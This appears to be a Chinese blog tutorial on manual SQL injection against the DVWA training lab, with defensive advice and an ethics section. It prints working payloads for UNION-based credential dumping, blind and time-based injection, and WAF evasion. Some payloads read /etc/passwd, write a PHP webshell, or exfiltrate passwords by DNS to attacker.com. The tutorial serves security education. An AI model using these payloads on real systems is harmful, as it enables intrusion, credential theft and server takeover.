DVWA实战:从零到一,手把手拆解SQL手工注入攻防

张开发
2026/6/15 2:17:38 15 分钟阅读
DVWA实战:从零到一,手把手拆解SQL手工注入攻防
1. 初识DVWA与SQL注入第一次接触DVWA这个漏洞演练平台时我就像拿到了一把通往网络安全世界的钥匙。DVWADamn Vulnerable Web Application是专门为安全测试设计的PHP/MySQL应用它故意保留了各种常见漏洞其中SQL注入是最经典的漏洞类型之一。SQL注入的原理其实很简单当Web应用把用户输入的数据直接拼接到SQL查询语句中时攻击者就可以通过构造特殊输入来改变原SQL语句的逻辑。比如一个登录页面正常情况下执行的SQL可能是SELECT * FROM users WHERE usernameadmin AND password123456但如果用户在密码栏输入 OR 11最终SQL就变成了SELECT * FROM users WHERE usernameadmin AND password OR 11这个条件永远为真攻击者就能绕过登录验证。在DVWA的LOW安全级别下所有防护措施都被故意关闭非常适合新手练习。我第一次尝试时发现只需要在用户ID输入框输入1 AND 11 --就能看到系统返回了正常结果而输入1 AND 12 --则没有返回数据这种差异立刻让我意识到这里存在SQL注入漏洞。2. 搭建测试环境工欲善其事必先利其器。在开始实战前我们需要准备好以下环境安装XAMPP/WAMP这是最方便的PHPMySQL集成环境。我推荐使用XAMPP它自带了phpMyAdmin方便管理数据库。安装完成后记得启动Apache和MySQL服务。下载DVWA从官网下载最新版DVWA解压到XAMPP的htdocs目录。我遇到过文件权限问题需要给config目录写入权限才能生成配置文件。配置数据库访问http://localhost/dvwa/setup.php点击Create/Reset Database按钮。默认账号是admin密码是password。第一次登录后建议修改密码。设置安全级别在DVWA Security页面将级别设为Low。这里有个小技巧不同级别对应不同防护措施从Low到Impossible防护逐渐增强。常见问题排查如果遇到数据库连接错误检查config.inc.php中的数据库配置页面显示不正常可能是PHP版本问题DVWA需要PHP 5.4403错误可能是文件权限问题尝试chmod -R 755 dvwa3. 手工注入全流程实战3.1 判断注入类型在DVWA的SQL Injection页面我们首先需要判断注入点是数字型还是字符型。方法很简单输入1页面正常显示用户信息输入1如果报错就是字符型不报错可能是数字型进一步验证输入1 AND 11应该正常返回输入1 AND 12应该无返回我测试时发现输入单引号会报错确认是字符型注入。这是因为字符型注入需要用单引号闭合而数字型不需要。3.2 猜解字段数使用ORDER BY子句可以确定查询返回的列数1 ORDER BY 1-- 1 ORDER BY 2-- 1 ORDER BY 3--当数字超过实际列数时就会报错。在DVWA中测试到3时报错说明只有2个字段。这里有个实用技巧注释符--后面要加空格否则可能不生效。也可以用#作为注释符但在URL中需要编码为%23。3.3 确定回显位置通过联合查询(UNION SELECT)找出页面中哪些位置会显示数据库返回的数据1 UNION SELECT 1,2--看到页面显示了数字1和2说明两个字段都会回显。这就像在网页上找到了两个展示窗口之后我们可以把想查的数据放到这两个位置上。3.4 获取数据库信息现在可以开始提取关键信息了1 UNION SELECT database(),user()--这会显示当前数据库名和数据库用户。我第一次执行时得到了dvwa和rootlocalhost说明用的是root账户权限很高。还可以获取更多信息1 UNION SELECT version(),version_compile_os--这返回了MySQL版本和操作系统信息对后续攻击很有帮助。3.5 提取表数据接下来要获取数据库中的表名。MySQL的information_schema数据库存储了所有元数据1 UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schemadvwa--或者更简洁的1 UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schemadvwa--我看到了guestbook和users两个表显然users表更值得关注。获取users表的列名1 UNION SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_nameusers--返回结果包括user_id,first_name,last_name,user,password等字段。最后获取用户凭证1 UNION SELECT user,password FROM users--成功拿到了所有用户名和MD5加密的密码可以用在线工具破解这些哈希值。4. 不同安全级别的攻防差异4.1 Medium级别绕过Medium级别增加了下拉菜单限制输入并使用了mysqli_real_escape_string过滤单引号。绕过方法使用Burp Suite拦截请求直接修改POST参数因为过滤了单引号改用数字型注入1 UNION SELECT user,password FROM users--或者对表名使用十六进制编码1 UNION SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name0x7573657273--其中0x7573657273是users的十六进制表示。4.2 High级别特点High级别有两个重要变化添加了LIMIT 1限制只返回一行输入页面和结果页面分离增加了自动化工具的攻击难度但手工注入仍然可行只需确保UNION SELECT只返回一行1 UNION SELECT user,password FROM users LIMIT 1,1--通过调整LIMIT参数可以获取所有数据。4.3 Impossible级别的防护Impossible级别采用了三项关键防护措施使用PDO预处理语句检查输入是否为数字添加CSRF Token这些措施基本杜绝了SQL注入的可能。特别是PDO预处理它将SQL语句和参数分开发送给数据库从根本上避免了注入问题。5. 防御SQL注入的最佳实践从攻击者角度理解了注入原理后作为开发者应该如何防御呢使用参数化查询这是最有效的防护手段。无论是PDO还是MySQLi都要使用预处理语句$stmt $pdo-prepare(SELECT * FROM users WHERE id :id); $stmt-execute([id $input]);输入验证检查用户输入是否符合预期格式if (!is_numeric($id)) { die(Invalid input); }最小权限原则数据库用户只赋予必要权限不要使用root账户。错误处理避免显示原始错误信息防止信息泄露。Web应用防火墙部署WAF可以拦截常见攻击模式。我在实际项目中见过太多因为SQL注入导致的数据泄露案例。有一次审计代码时发现开发人员竟然直接拼接SQL语句类似这样$query SELECT * FROM users WHERE id . $_GET[id];这种写法简直就是为攻击者敞开大门。正确的做法应该是$stmt $conn-prepare(SELECT * FROM users WHERE id ?); $stmt-bind_param(i, $_GET[id]); $stmt-execute();6. 深入理解注入技巧6.1 盲注技术当页面没有明显回显时可以使用盲注技术。布尔盲注通过判断页面差异来提取数据1 AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)a--时间盲注则利用延时函数1 AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)a,SLEEP(5),0)--6.2 绕过WAF的技巧大小写混写SeLeCt代替SELECT注释分割SEL/*xxx*/ECT编码转换十六进制、URL编码等等价函数替换CONCAT代替字符串连接6.3 二阶SQL注入这种注入发生在数据被存储后再次使用时。比如用户注册时输入用户名admin-- 密码123如果应用后续使用这个用户名拼接SQL就可能触发注入。7. 自动化工具与手工注入虽然sqlmap等工具可以自动化检测注入但手工注入仍然是必备技能工具容易被WAF拦截复杂场景下工具可能失效手工注入更能深入理解原理某些特殊注入点需要手工测试我建议先用手工方法理解原理再用工具提高效率。两者结合才是最佳实践。8. 从注入到提权拿到数据库权限后攻击者可能进一步提权读取敏感文件1 UNION SELECT LOAD_FILE(/etc/passwd),null--写入Webshell1 UNION SELECT ?php system($_GET[cmd]); ?,null INTO OUTFILE /var/www/html/shell.php--利用UDF提权执行系统命令这些操作需要足够的数据库权限再次印证了最小权限原则的重要性。9. 实战中的常见问题编码问题遇到Illegal mix of collations错误时需要统一数据库和表的字符集通常设为utf8_general_ci。过滤绕过当单引号被过滤时可以使用十六进制编码宽字节注入GBK环境字符串函数如CHAR(65,66,67)无回显情况使用DNS外带技术1 UNION SELECT LOAD_FILE(CONCAT(\\\\,(SELECT password FROM users LIMIT 1),.attacker.com\\share\\)),null--10. 法律与道德边界在进行任何安全测试前必须获得明确授权。未经授权的测试可能触犯法律。我始终坚持的原则是只在自有系统或授权系统上测试不查看或泄露真实用户数据发现漏洞后及时报告测试数据使用明显虚构的内容安全研究是为了提升防护能力而不是破坏系统。每次测试DVWA后我都会点击Setup页面的Reset DB按钮确保恢复初始状态。

更多文章